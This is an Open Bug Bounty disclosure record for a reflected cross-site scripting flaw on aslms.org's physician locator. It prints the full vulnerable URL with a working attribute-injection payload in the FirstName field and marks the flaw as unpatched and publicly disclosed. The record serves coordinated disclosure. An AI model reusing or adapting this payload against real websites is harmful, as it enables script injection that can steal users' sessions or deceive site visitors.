Lucene search
M0r3h4xOBB:266908HistoryJul 22, 2017 - 9:08 p.m.
aslms.org XSS vulnerability
2017-07-2221:08:00
M0r3h4x
www.openbugbounty.org
9
Vulnerable URL:
http://www.aslms.org/mxdirectory/PhysicianLocator?FirstName=Xss%22%20onfocus=prompt(/OPENBUGBOUNTY/)%20autofocus=%22&LastName;=&CompanyName;=&AddressCity;=&AddressState;=&AddressZip;=&AddressCountry;=&Procedure;=Beckers%20Nevus&Specialty;=&NewBegin;=
Details:
| Description | Value |
|---|---|
| Patched: | No |
| Latest check for patch: | 21.08.2017 |
| Vulnerability type: | XSS |
| Vulnerability status: | Publicly disclosed |
| Alexa Rank | 1774396 |
| VIP website status: | No |
| Check aslms.org SSL connection: | (Grade: F) |
Coordinated Disclosure Timeline:
| Description | Value |
|---|---|
| Vulnerability submitted via Open Bug Bounty | 22 July, 2017 21:08 GMT |
| Generic security notifications sent to website owner | 22 July, 2017 21:10 GMT |
| Notification sent to subscribers (without technical details) | 22 July, 2017 22:17 GMT |
| Vulnerability details disclosed by researcher | 21 August, 2017 21:16 GMT |